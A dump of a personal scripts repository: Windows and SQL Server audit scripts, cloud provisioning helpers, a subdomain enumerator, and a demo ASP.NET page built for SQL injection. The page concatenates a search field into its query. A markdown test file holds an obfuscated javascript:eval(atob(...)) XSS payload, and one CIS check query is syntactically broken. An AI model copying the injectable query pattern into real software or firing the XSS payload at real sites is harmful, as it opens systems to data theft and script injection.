131 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name RenameGuest -DisplayName 'Rename guest account' -RawValue ([string]($SystemAccess.NewGuestName).Replace('"','').trim()) -Value ([string]($SystemAccess.NewGuestName).Replace('"','').trim())
132 |
133 |
134 | # Output cleaned password policy
135 | $FinalOutput
136 |
137 | # Clean up remove exported policy
138 | Remove-Item $ExportedPolicy
139 | }else{
140 |
141 | # Handle secedit error
142 | Write-Error "secedit failed to run - $(([ComponentModel.Win32Exception]$LASTEXITCODE).Message)" -TargetObject secedit -ErrorId $LASTEXITCODE
143 |
144 | }
--------------------------------------------------------------------------------
/SQL Injection Example/CreateDatabase.sql:
--------------------------------------------------------------------------------
1 | USE [master]
2 | GO
3 |
4 | /****** Object: Database [Clients] Script Date: 19/10/2016 22:11:34 ******/
5 | CREATE DATABASE [Clients]
6 | CONTAINMENT = NONE
7 | ON PRIMARY
8 | ( NAME = N'Clients', FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\DATA\Clients.mdf' , SIZE = 16384KB , MAXSIZE = UNLIMITED, FILEGROWTH = 1024KB )
9 | LOG ON
10 | ( NAME = N'Clients_log', FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\DATA\Clients_log.ldf' , SIZE = 69760KB , MAXSIZE = 2048GB , FILEGROWTH = 10%)
11 | GO
12 |
13 | ALTER DATABASE [Clients] SET COMPATIBILITY_LEVEL = 120
14 | GO
15 |
16 | IF (1 = FULLTEXTSERVICEPROPERTY('IsFullTextInstalled'))
17 | begin
18 | EXEC [Clients].[dbo].[sp_fulltext_database] @action = 'enable'
19 | end
20 | GO
21 |
22 | ALTER DATABASE [Clients] SET ANSI_NULL_DEFAULT OFF
23 | GO
24 |
25 | ALTER DATABASE [Clients] SET ANSI_NULLS OFF
26 | GO
27 |
28 | ALTER DATABASE [Clients] SET ANSI_PADDING OFF
29 | GO
30 |
31 | ALTER DATABASE [Clients] SET ANSI_WARNINGS OFF
32 | GO
33 |
34 | ALTER DATABASE [Clients] SET ARITHABORT OFF
35 | GO
36 |
37 | ALTER DATABASE [Clients] SET AUTO_CLOSE OFF
38 | GO
39 |
40 | ALTER DATABASE [Clients] SET AUTO_SHRINK OFF
41 | GO
42 |
43 | ALTER DATABASE [Clients] SET AUTO_UPDATE_STATISTICS ON
44 | GO
45 |
46 | ALTER DATABASE [Clients] SET CURSOR_CLOSE_ON_COMMIT OFF
47 | GO
48 |
49 | ALTER DATABASE [Clients] SET CURSOR_DEFAULT GLOBAL
50 | GO
51 |
52 | ALTER DATABASE [Clients] SET CONCAT_NULL_YIELDS_NULL OFF
53 | GO
54 |
55 | ALTER DATABASE [Clients] SET NUMERIC_ROUNDABORT OFF
56 | GO
57 |
58 | ALTER DATABASE [Clients] SET QUOTED_IDENTIFIER OFF
59 | GO
60 |
61 | ALTER DATABASE [Clients] SET RECURSIVE_TRIGGERS OFF
62 | GO
63 |
64 | ALTER DATABASE [Clients] SET DISABLE_BROKER
65 | GO
66 |
67 | ALTER DATABASE [Clients] SET AUTO_UPDATE_STATISTICS_ASYNC OFF
68 | GO
69 |
70 | ALTER DATABASE [Clients] SET DATE_CORRELATION_OPTIMIZATION OFF
71 | GO
72 |
73 | ALTER DATABASE [Clients] SET TRUSTWORTHY OFF
74 | GO
75 |
76 | ALTER DATABASE [Clients] SET ALLOW_SNAPSHOT_ISOLATION OFF
77 | GO
78 |
79 | ALTER DATABASE [Clients] SET PARAMETERIZATION SIMPLE
80 | GO
81 |
82 | ALTER DATABASE [Clients] SET READ_COMMITTED_SNAPSHOT OFF
83 | GO
84 |
85 | ALTER DATABASE [Clients] SET HONOR_BROKER_PRIORITY OFF
86 | GO
87 |
88 | ALTER DATABASE [Clients] SET RECOVERY SIMPLE
89 | GO
90 |
91 | ALTER DATABASE [Clients] SET MULTI_USER
92 | GO
93 |
94 | ALTER DATABASE [Clients] SET PAGE_VERIFY CHECKSUM
95 | GO
96 |
97 | ALTER DATABASE [Clients] SET DB_CHAINING OFF
98 | GO
99 |
100 | ALTER DATABASE [Clients] SET FILESTREAM( NON_TRANSACTED_ACCESS = OFF )
101 | GO
102 |
103 | ALTER DATABASE [Clients] SET TARGET_RECOVERY_TIME = 0 SECONDS
104 | GO
105 |
106 | ALTER DATABASE [Clients] SET DELAYED_DURABILITY = DISABLED
107 | GO
108 |
109 | ALTER DATABASE [Clients] SET READ_WRITE
110 | GO
111 |
112 |
--------------------------------------------------------------------------------
/SQL Injection Example/CreateTable.sql:
--------------------------------------------------------------------------------
1 | USE [Clients]
2 | GO
3 |
4 | /****** Object: Table [dbo].[Data] Script Date: 19/10/2016 22:11:59 ******/
5 | SET ANSI_NULLS ON
6 | GO
7 |
8 | SET QUOTED_IDENTIFIER ON
9 | GO
10 |
11 | CREATE TABLE [dbo].[Data](
12 | [ID] [int] IDENTITY(1,1) NOT NULL,
13 | [GivenName] [nvarchar](max) NULL,
14 | [Initials] [nvarchar](max) NULL,
15 | [Surname] [nvarchar](max) NULL,
16 | [Office] [nvarchar](max) NULL,
17 | [StreetAddress] [nvarchar](max) NULL,
18 | [City] [nvarchar](max) NULL,
19 | [PostalCode] [nvarchar](max) NULL,
20 | [Country] [nvarchar](max) NULL,
21 | [EmailAddress] [nvarchar](max) NULL,
22 | [OfficePhone] [nvarchar](max) NULL,
23 | [Title] [nvarchar](max) NULL,
24 | [Company] [nvarchar](max) NULL,
25 | [Description] [nvarchar](max) NULL,
26 | [HomePage] [nvarchar](max) NULL,
27 | CONSTRAINT [PK_Data] PRIMARY KEY CLUSTERED
28 | (
29 | [ID] ASC
30 | )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
31 | ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
32 |
33 | GO
34 |
35 |
--------------------------------------------------------------------------------
/SQL Injection Example/Default.aspx:
--------------------------------------------------------------------------------
1 | <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="CS" %>
2 |
3 |
4 |
5 |
6 |
7 |
8 |
36 |
37 |
38 | Client Database Search
39 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/SQL Injection Example/Default.aspx.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Web;
4 | using System.Web.UI;
5 | using System.Web.UI.WebControls;
6 | using System.Data;
7 | using System.Text;
8 | using System.Configuration;
9 | using System.Data.SqlClient;
10 |
11 | public partial class CS : System.Web.UI.Page
12 | {
13 | protected void Page_Load(object sender, EventArgs e)
14 | {
15 | if (this.IsPostBack)
16 | {
17 | //Populating a DataTable from database.
18 | DataTable dt = this.GetData();
19 |
20 | if(dt != null)
21 | {
22 | //Building an HTML string.
23 | StringBuilder html = new StringBuilder();
24 |
25 | //Table start.
26 | html.Append("");
27 |
28 | //Building the Header row.
29 | html.Append("");
30 | foreach (DataColumn column in dt.Columns)
31 | {
32 | html.Append("");
33 | html.Append(column.ColumnName);
34 | html.Append(" | ");
35 | }
36 | html.Append("
");
37 |
38 | //Building the Data rows.
39 | foreach (DataRow row in dt.Rows)
40 | {
41 | html.Append("");
42 | foreach (DataColumn column in dt.Columns)
43 | {
44 | html.Append("");
45 | html.Append(row[column.ColumnName]);
46 | html.Append(" | ");
47 | }
48 | html.Append("
");
49 | }
50 |
51 | //Table end.
52 | html.Append("
");
53 |
54 | //Append the HTML string to Placeholder.
55 | PlaceHolder1.Controls.Add(new LiteralControl(html.ToString()));
56 | }
57 | }
58 | }
59 |
60 | private DataTable GetData()
61 | {
62 | string WhereText = SearchLastName.Text;
63 | string constr = ConfigurationManager.ConnectionStrings["constr"].ConnectionString;
64 | using (SqlConnection con = new SqlConnection(constr))
65 | {
66 | try
67 | {
68 | using (SqlCommand cmd = new SqlCommand("SELECT TOP 10 Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE '%" + WhereText + "%'"))
69 | {
70 | using (SqlDataAdapter sda = new SqlDataAdapter())
71 | {
72 | cmd.Connection = con;
73 | sda.SelectCommand = cmd;
74 | using (DataTable dt = new DataTable())
75 | {
76 | sda.Fill(dt);
77 | return dt;
78 | }
79 | }
80 | }
81 | }
82 | catch (SqlException e)
83 | {
84 | StringBuilder html = new StringBuilder();
85 | html.Append("FAILED - " + e.Message + "
");
86 | PlaceHolder1.Controls.Add(new LiteralControl(html.ToString()));
87 | return null;
88 | }
89 | }
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/SQL Injection Example/web.config:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/SQL Server sys configurations checks.sql:
--------------------------------------------------------------------------------
1 | -- All taken from this benchmark https://benchmarks.cisecurity.org/tools2/sqlserver/CIS_Microsoft_SQL_Server_2014_Benchmark_v1.2.0.pdf
2 | SELECT '2.1' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'ad hoc distributed queries'
3 | UNION
4 | SELECT '2.2' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'clr enabled'
5 | UNION
6 | SELECT '2.3' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Cross db ownership chaining'
7 | UNION
8 | SELECT '2.4' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Database Mail XPs'
9 | UNION
10 | SELECT '2.5' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Ole Automation Procedures'
11 | UNION
12 | SELECT '2.6' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Remote access'
13 | UNION
14 | SELECT '2.7' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Remote admin connections' AND SERVERPROPERTY('IsClustered') = 0
15 | UNION
16 | SELECT '2.8' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Scan for startup procs'
17 |
18 |
19 | --Will display nothing if no databases are set to ON
20 | SELECT '2.9' as 'CIS Benchmark Ref', name FROM sys.databases WHERE is_trustworthy_on = 1 AND name != 'msdb' AND state = 0 ;
21 |
22 |
23 | --very rarely works
24 | DECLARE @getValue INT;
25 | EXEC master..xp_instance_regread
26 | @rootkey = N'HKEY_LOCAL_MACHINE',
27 | @key = N'SOFTWARE\Microsoft\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib',
28 | @value_name = N'HideInstance',
29 | @value = @getValue OUTPUT;
30 | SELECT '2.12' as 'CIS Benchmark Ref', @getValue;
31 |
32 | -- check if sa renamed and is disabled
33 | SELECT '2.13 & 2.14' as 'CIS Benchmark Ref', name, is_disabled
34 | FROM sys.server_principals
35 | WHERE sid = 0x01;
36 |
37 | --is XP command disabled - ref 2.15
38 | EXECUTE sp_configure 'show advanced options',1;
39 | RECONFIGURE WITH OVERRIDE;
40 | EXECUTE sp_configure 'xp_cmdshell';
41 |
42 |
43 | SELECT '2.16' as 'CIS Benchmark Ref', name, containment, containment_desc, is_auto_close_on
44 | FROM sys.databases
45 | WHERE containment <> 0 and is_auto_close_on = 1;
46 |
47 | --ensure no other account has been created with a name of 'sa'
48 | SELECT '2.17' as 'CIS Benchmark Ref', sid, name,
49 | FROM sys.server_principals
50 | WHERE L.name = 'sa'
51 | AND L.sid <> 0x01;
52 |
53 | --ensure windows auth is in use - ref 3.1
54 | xp_loginconfig 'login mode';
55 |
56 | --no rows should be returned for this one
57 | SELECT '3.2' as 'CIS Benchmark Ref', DB_NAME() AS DBName, dpr.name, dpe.permission_name
58 | FROM sys.database_permissions dpe
59 | JOIN sys.database_principals dpr
60 | ON dpe.grantee_principal_id=dpr.principal_id
61 | WHERE dpr.name='guest'
62 | AND dpe.permission_name='CONNECT';
63 |
64 | --orphaned users - ref 3.3
65 | EXEC sp_change_users_login @Action='Report';
66 |
67 | SELECT '3.4' as 'CIS Benchmark Ref', name AS DBUser
68 | FROM sys.database_principals
69 | WHERE name NOT IN ('dbo','Information_Schema','sys','guest')
70 | AND type IN ('U','S','G')
71 | AND authentication_type = 2;
72 |
73 |
74 | SELECT '4.2' as 'CIS Benchmark Ref', l.[name], 'sysadmin membership' AS 'Access_Method'
75 | FROM sys.sql_logins AS l
76 | WHERE IS_SRVROLEMEMBER('sysadmin',name) = 1
77 | AND l.is_expiration_checked <> 1
78 | UNION ALL
79 | SELECT l.[name], 'CONTROL SERVER' AS 'Access_Method'
80 | FROM sys.sql_logins AS l
81 | JOIN sys.server_permissions AS p
82 | ON l.principal_id = p.grantee_principal_id
83 | WHERE p.type = 'CL' AND p.state IN ('G', 'W')
84 | AND l.is_expiration_checked <> 1;
85 |
86 | SELECT '4.3' as 'CIS Benchmark Ref', name, is_disabled
87 | FROM sys.sql_logins
88 | WHERE is_policy_checked = 0;
89 |
90 | --very rarely works - ref 5.1
91 | DECLARE @NumErrorLogs int;
92 | EXEC master.sys.xp_instance_regread
93 | N'HKEY_LOCAL_MACHINE',
94 | N'Software\Microsoft\MSSQLServer\MSSQLServer',
95 | N'NumErrorLogs',
96 | @NumErrorLogs OUTPUT;
97 | SELECT '5.1' as 'CIS Benchmark Ref', ISNULL(@NumErrorLogs, -1) AS [NumberOfLogFiles];
98 |
99 |
100 | SELECT '5.2' as 'CIS Benchmark Ref', name,
101 | CAST(value as int) as value_configured,
102 | CAST(value_in_use as int) as value_in_use
103 | FROM sys.configurations
104 | WHERE name = 'Default trace enabled';
105 |
106 | -- ref 5.3 should say failure
107 | XP_loginconfig 'audit level';
108 |
109 |
110 | SELECT '5.4' as 'CIS Benchmark Ref', S.name AS 'Audit Name'
111 | , CASE S.is_state_enabled
112 | WHEN 1 THEN 'Y'
113 | WHEN 0 THEN 'N' END AS 'Audit Enabled'
114 | , S.type_desc AS 'Write Location'
115 | , SA.name AS 'Audit Specification Name'
116 | , CASE SA.is_state_enabled
117 | WHEN 1 THEN 'Y'
118 | WHEN 0 THEN 'N' END AS 'Audit Specification Enabled'
119 | , SAD.audit_action_name
120 | , SAD.audited_result
121 | FROM sys.server_audit_specification_details AS SAD
122 | JOIN sys.server_audit_specifications AS SA
123 | ON SAD.server_specification_id = SA.server_specification_id
124 | JOIN sys.server_audits AS S
125 | ON SA.audit_guid = S.audit_guid
126 | WHERE SAD.audit_action_id IN ('CNAU', 'LGFL', 'LGSD');
127 |
128 |
129 | SELECT '6.2' as 'CIS Benchmark Ref', name,
130 | permission_set_desc
131 | FROM sys.assemblies
132 | where is_user_defined = 1;
133 |
134 |
135 | SELECT '7.1' as 'CIS Benchmark Ref', db_name() AS Database_Name, name AS Key_Name
136 | FROM sys.symmetric_keys
137 | WHERE algorithm_desc NOT IN ('AES_128','AES_192','AES_256')
138 | AND db_id() > 4;
139 |
140 |
141 |
142 | SELECT '7.2' as 'CIS Benchmark Ref', db_name() AS Database_Name, name AS Key_Name
143 | FROM sys.asymmetric_keys
144 | WHERE key_length < 2048
145 | AND db_id() > 4;
--------------------------------------------------------------------------------
/Set-ADPhoto.ps1:
--------------------------------------------------------------------------------
1 | Function Set-ADPhoto {
2 | param($Picture,$Username)
3 |
4 | $Pic = [byte[]](Get-Content $Picture -Encoding byte)
5 | $AD = [ADSI]$(([adsisearcher]"(samaccountname=$Username)").findone().getdirectoryentry().path)
6 | $AD.thumbnailPhoto.Add($Pic)
7 | $AD.SetInfo()
8 |
9 | }
10 |
--------------------------------------------------------------------------------
/Sub Domain Enumeration.ps1:
--------------------------------------------------------------------------------
1 | $Domain = 'example.com'
2 |
3 | if(-not (Test-Path .\subdomains.txt)){
4 | Write-Progress -Activity 'Enumerating Sub Domains' -CurrentOperation 'Downloading Sub Domain Wordlist'
5 | wget 'https://raw.githubusercontent.com/guelfoweb/knock/knock3/knockpy/wordlist/wordlist.txt' -OutFile subdomains.txt
6 | }
7 |
8 | $WordList = Get-Content .\subdomains.txt
9 |
10 | $DomainPercentage = 100 / $WordList.Count
11 | Write-Progress -Activity 'Enumerating Sub Domains' -Status 'Building Sub Domains' -Id 1 -PercentComplete 0
12 | $i = 1
13 | $Domains = $WordList | %{ Write-Progress -Id 1 -Activity 'Enumerating Sub Domains' -Status 'Building Sub Domains' -CurrentOperation "$($_).$($Domain)" -PercentComplete ($i * $DomainPercentage);$i++; "$($_).$($Domain)" }
14 |
15 | $i = 1
16 | $Results = $Domains | %{ $Name = $_; Write-Progress -Id 1 -Activity 'Enumerating Sub Domains' -Status 'Testing Sub Domains' -CurrentOperation "Resolving DNS for '$Name'" -PercentComplete ($i * $DomainPercentage);$i++; Resolve-DnsName $Name -ErrorAction SilentlyContinue | ?{ $_.Name -eq $Name } }
17 |
18 | $Filtered = $Results | Where IP4Address -ne $Null | Select Name, IPAddress -Unique
19 | $Filtered | Export-Csv "$Domain-SubDomains.csv" -NoTypeInformation
20 |
21 | $Filtered
--------------------------------------------------------------------------------
/UpdateIPs.py:
--------------------------------------------------------------------------------
1 | import requests, json
2 |
3 | # CloudFlare Config
4 | api_key = '-----'
5 | api_email = '-----'
6 | api_zone = '-----'
7 | api_dns = '-----'
8 | sub_domain = '-----'
9 |
10 | # DigitalOcean Config
11 | FWID = '-----'
12 | FWDroplets = ['-----','-----','-----']
13 | FWName = '-----'
14 | APIKey = '-----'
15 |
16 | # get the current external IP
17 | extip = requests.get('https://api.ipify.org/')
18 | extip = extip.content
19 | print('[*] Your external IP is ' + extip + '.')
20 |
21 | # grab IPv4 list from cloudflare
22 | response = requests.get('https://www.cloudflare.com/ips-v4')
23 | if response.status_code == requests.codes.ok:
24 | list = response.content
25 | CFlist = [s.strip() for s in list.splitlines()]
26 | print('[+] Obtained an updated list of CloudFlare IPv4 ranges.')
27 | else:
28 | print('[-] Failed to obtain CloudFlare IPv4 ranges.')
29 | raise SystemExit(0)
30 |
31 | # DigitalOcean FW data
32 | FWData = {
33 | "name": FWName,
34 | "droplet_ids": FWDroplets,
35 | "inbound_rules": [
36 | {
37 | "ports": "22",
38 | "protocol": "tcp",
39 | "sources": {
40 | "addresses": [ extip ]
41 | }
42 | },
43 | {
44 | "ports": "80",
45 | "protocol": "tcp",
46 | "sources": {
47 | "addresses": CFlist
48 | }
49 | },
50 | {
51 | "ports": "443",
52 | "protocol": "tcp",
53 | "sources": {
54 | "addresses": CFlist
55 | }
56 | }
57 | ],
58 | "tags": []
59 | }
60 |
61 |
62 | # set the current IP on DigitalOcean
63 | url = 'https://api.digitalocean.com/v2/firewalls/' + FWID
64 | head = {
65 | 'Authorization' : 'Bearer ' + APIKey,
66 | 'Content-Type' : 'application/json'
67 | }
68 | response = requests.put(url, json=FWData, headers=head)
69 | if response.status_code == requests.codes.ok:
70 | print('[+] External IP and CloudFlare IPv4 list updated on DigitalOcean.')
71 | else:
72 | print('[-] Failed to update external IP and CloudFlare IPv4 list on DigitalOcean.')
73 | raise SystemExit(0)
74 |
75 | # set the current IP on CloudFlare
76 | url = 'https://api.cloudflare.com/client/v4/zones/' + api_zone + '/dns_records/' + api_dns
77 | data = {
78 | 'type' : 'A',
79 | 'name' : sub_domain,
80 | 'content' : extip,
81 | 'ttl' : 120,
82 | 'proxied' : False
83 | }
84 | head = {
85 | 'X-Auth-Email' : api_email,
86 | 'X-Auth-Key' : api_key,
87 | 'Content-Type' : 'application/json'
88 | }
89 | response = requests.put(url, json=data, headers=head)
90 |
91 | if response.status_code == requests.codes.ok:
92 | print('[+] External IP updated on Cloudflare.')
93 | else:
94 | print('[-] Failed to update external IP on Cloudflare.')
95 |
--------------------------------------------------------------------------------
/add GPL v3 header/Add-GPLHeader.ps1:
--------------------------------------------------------------------------------
1 | Function Add-GPLHeader
2 | {
3 | param($File,$Name,$Source)
4 |
5 | $Header = @"
6 | <#
7 | This file is part of {{NAME}} available from {{SOURCE}}
8 | Created by Liam Glanfield @OneLogicalMyth
9 |
10 | {{NAME}} is free software: you can redistribute it and/or modify
11 | it under the terms of the GNU General Public License as published by
12 | the Free Software Foundation, either version 3 of the License, or
13 | (at your option) any later version.
14 |
15 | {{NAME}} is distributed in the hope that it will be useful,
16 | but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | GNU General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with {{NAME}}. If not, see .
22 | #>
23 |
24 | "@
25 |
26 |
27 | $Header = $Header.Replace('{{NAME}}',$Name).Replace('{{SOURCE}}',$Source)
28 |
29 | $Header + (Get-Content $File -Raw) | Out-File $File
30 |
31 |
32 |
33 | }
--------------------------------------------------------------------------------
/digital_ocean/CreateWordpressSite.py:
--------------------------------------------------------------------------------
1 | import requests as r
2 | import json, time, paramiko
3 | from os.path import abspath
4 |
5 | # params
6 | project = "f6e4fedb-bc42-40ac-8eb5-6e2a6245ed6c" # just a random GUID for example, not live
7 | droplet_name = "example.com"
8 | ssh_private_key = abspath(".ssh/id_rsa")
9 | APIKey = 'Bearer API_KEY_HERE'
10 |
11 | # basic header setup
12 | Headers = { "Content-Type": "application/json", "Authorization": APIKey }
13 |
14 | # grab the SSH keys to use
15 | print "[*] Grabbing the SSH keys"
16 | ssh_keys = []
17 | ssh_key_response = r.get('https://api.digitalocean.com/v2/account/keys', headers=Headers)
18 | for sk in ssh_key_response.json()['ssh_keys']:
19 | ssh_keys.append(sk['id'])
20 |
21 | # from the request - creates an 18.04 LTS LEMP BOX (image id: 38799526)
22 | Request = {
23 | "name": droplet_name,
24 | "region": "lon1",
25 | "size": "s-1vcpu-1gb",
26 | "image": "38799526",
27 | "ssh_keys": ssh_keys,
28 | "backups": False,
29 | "ipv6": False,
30 | "user_data": None,
31 | "private_networking": False,
32 | "volumes": None,
33 | "tags": ["WordPress"]
34 | }
35 |
36 | # create the droplet
37 | print "[*] Creating the droplet 'LEMP Ubuntu 18.04 LTS'"
38 | create_response = r.post('https://api.digitalocean.com/v2/droplets', json=Request, headers=Headers)
39 | droplet_id = create_response.json()["droplet"]["id"]
40 | print "[*] Droplet created with ID {}".format(droplet_id)
41 | time.sleep(2)
42 |
43 | # Move droplet to project
44 | print "[*] Assigning the droplet to project {}".format(project)
45 | Request = {
46 | "resources": ['do:droplet:{}'.format(droplet_id)]
47 | }
48 | response = r.post('https://api.digitalocean.com/v2/projects/{}/resources'.format(project), headers=Headers, json=Request)
49 |
50 | # wait for droplet to build
51 | while True:
52 |
53 | res = r.get('https://api.digitalocean.com/v2/droplets/{}'.format(droplet_id), headers=Headers)
54 | status = res.json()["droplet"]["status"]
55 | droplet_info = res.json()["droplet"]
56 |
57 | # grab the IP address of the public interface
58 | for net in droplet_info["networks"]["v4"]:
59 | if net['type'] == "public":
60 | droplet_ip = net['ip_address']
61 | break
62 |
63 | if status == "active":
64 | break
65 |
66 | print "[*] Waiting for droplet {} to finish building".format(droplet_name)
67 | time.sleep(45)
68 |
69 | # droplet finished building
70 | print "[*] Droplet has been created: public IP is {}".format(droplet_ip)
71 |
72 | # create SSH object and accept host key
73 | DropletSSH = paramiko.SSHClient()
74 | DropletSSH.set_missing_host_key_policy(paramiko.AutoAddPolicy())
75 |
76 | # connect
77 | print "[*] Now configuring WordPress, attempting to SSH into the droplet"
78 | time.sleep(10) # pause for 10 seconds to let the droplet boot
79 | DropletSSH.connect(droplet_ip, username="root", key_filename=ssh_private_key)
80 |
81 | # download wordpress ready for use
82 | commands = "wget https://wordpress.org/latest.tar.gz\n"
83 | commands += "rm -rf /var/www/html\n"
84 | commands += "tar xzf latest.tar.gz\n"
85 | commands += "mv ./wordpress /var/www/html\n"
86 | commands += "chmod www-data:www-data -R /var/www/html\n"
87 | stdin, stdout, stderr = DropletSSH.exec_command(commands)
88 | print stdout.read()
89 |
90 | # todo: configure wordpress and create database
91 | print "[*] WordPress installed ok"
92 |
93 | # logout
94 | DropletSSH.close()
95 |
--------------------------------------------------------------------------------
/gencerts.sh:
--------------------------------------------------------------------------------
1 | echo "creating public key"
2 | openssl pkcs12 -in $1 -clcerts -nokeys -out $2.cer
3 | echo "creating private key"
4 | openssl pkcs12 -in $1 -nocerts -nodes -out $2.key
5 | echo "creating ca key"
6 | openssl pkcs12 -in $1 -out $2.crt -nodes -nokeys -cacerts
7 |
--------------------------------------------------------------------------------
/get_rockyou_pass.sh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OneLogicalMyth/Random-Scripts/3b2907eae16ba7a81e5786ce00be2dc1d4316f33/get_rockyou_pass.sh
--------------------------------------------------------------------------------
/markdown xss test.md:
--------------------------------------------------------------------------------
1 | [Harlem Shake](javascript:eval(atob('KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gYygpe3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxpbmsiKTtlLnNldEF0dHJpYnV0ZSgidHlwZSIsInRleHQvY3NzIik7ZS5zZXRBdHRyaWJ1dGUoInJlbCIsInN0eWxlc2hlZXQiKTtlLnNldEF0dHJpYnV0ZSgiaHJlZiIsZik7ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIixsKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGUpfWZ1bmN0aW9uIGgoKXt2YXIgZT1kb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGwpO2Zvcih2YXIgdD0wO3Q8ZS5sZW5ndGg7dCsrKXtkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVbdF0pfX1mdW5jdGlvbiBwKCl7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIixhKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGUpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGUpfSwxMDApfWZ1bmN0aW9uIGQoZSl7cmV0dXJue2hlaWdodDplLm9mZnNldEhlaWdodCx3aWR0aDplLm9mZnNldFdpZHRofX1mdW5jdGlvbiB2KGkpe3ZhciBzPWQoaSk7cmV0dXJuIHMuaGVpZ2h0PmUmJnMuaGVpZ2h0PG4mJnMud2lkdGg+dCYmcy53aWR0aDxyfWZ1bmN0aW9uIG0oZSl7dmFyIHQ9ZTt2YXIgbj0wO3doaWxlKCEhdCl7bis9dC5vZmZzZXRUb3A7dD10Lm9mZnNldFBhcmVudH1yZXR1cm4gbn1mdW5jdGlvbiBnKCl7dmFyIGU9ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50O2lmKCEhd2luZG93LmlubmVyV2lkdGgpe3JldHVybiB3aW5kb3cuaW5uZXJIZWlnaHR9ZWxzZSBpZihlJiYhaXNOYU4oZS5jbGllbnRIZWlnaHQpKXtyZXR1cm4gZS5jbGllbnRIZWlnaHR9cmV0dXJuIDB9ZnVuY3Rpb24geSgpe2lmKHdpbmRvdy5wYWdlWU9mZnNldCl7cmV0dXJuIHdpbmRvdy5wYWdlWU9mZnNldH1yZXR1cm4gTWF0aC5tYXgoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCxkb2N1bWVudC5ib2R5LnNjcm9sbFRvcCl9ZnVuY3Rpb24gRShlKXt2YXIgdD1tKGUpO3JldHVybiB0Pj13JiZ0PD1iK3d9ZnVuY3Rpb24gUygpe3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImF1ZGlvIik7ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIixsKTtlLnNyYz1pO2UubG9vcD1mYWxzZTtlLmFkZEV2ZW50TGlzdGVuZXIoImNhbnBsYXkiLGZ1bmN0aW9uKCl7c2V0VGltZW91dChmdW5jdGlvbigpe3goayl9LDUwMCk7c2V0VGltZW91dChmdW5jdGlvbigpe04oKTtwKCk7Zm9yKHZhciBlPTA7ZTxPLmxlbmd0aDtlKyspe1QoT1tlXSl9fSwxNTUwMCl9LHRydWUpO2UuYWRkRXZlbnRMaXN0ZW5lcigiZW5kZWQiLGZ1bmN0aW9uKCl7TigpO2goKX0sdHJ1ZSk7ZS5pbm5lckhUTUw9IiA8cD5JZiB5b3UgYXJlIHJlYWRpbmcgdGhpcywgaXQgaXMgYmVjYXVzZSB5b3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCB0aGUgYXVkaW8gZWxlbWVudC4gV2UgcmVjb21tZW5kIHRoYXQgeW91IGdldCBhIG5ldyBicm93c2VyLjwvcD4gPHA+Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGUpO2UucGxheSgpfWZ1bmN0aW9uIHgoZSl7ZS5jbGFzc05hbWUrPSIgIitzKyIgIitvfWZ1bmN0aW9uIFQoZSl7ZS5jbGFzc05hbWUrPSIgIitzKyIgIit1W01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSp1Lmxlbmd0aCldfWZ1bmN0aW9uIE4oKXt2YXIgZT1kb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKHMpO3ZhciB0PW5ldyBSZWdFeHAoIlxcYiIrcysiXFxiIik7Zm9yKHZhciBuPTA7bjxlLmxlbm